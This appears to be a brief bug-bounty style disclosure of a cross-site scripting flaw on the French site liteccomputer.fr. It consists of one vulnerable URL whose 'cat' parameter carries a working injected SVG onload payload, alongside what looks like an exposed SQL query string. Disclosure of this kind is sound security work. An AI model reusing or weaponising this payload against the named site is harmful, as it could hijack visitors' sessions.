liteccomputer.fr XSS vulnerability

Vulnerable URL: http://www.liteccomputer.fr/index.php?cat=-1%22--!%3E%3CSvg/Onload=confirmOPENBUGBOUNTY%3E%22marque=TOUSfamille=TOUSkey=pa=produitlistresult.php?querywhere%3D%28searchtxt%20LIKE%20%22%25pa%25%22%29%20AND%20%28famille%20%3D%20%27DDXE2%27%29all=yes=718bf5ba771ee5bb479c2cdf5c8e0def...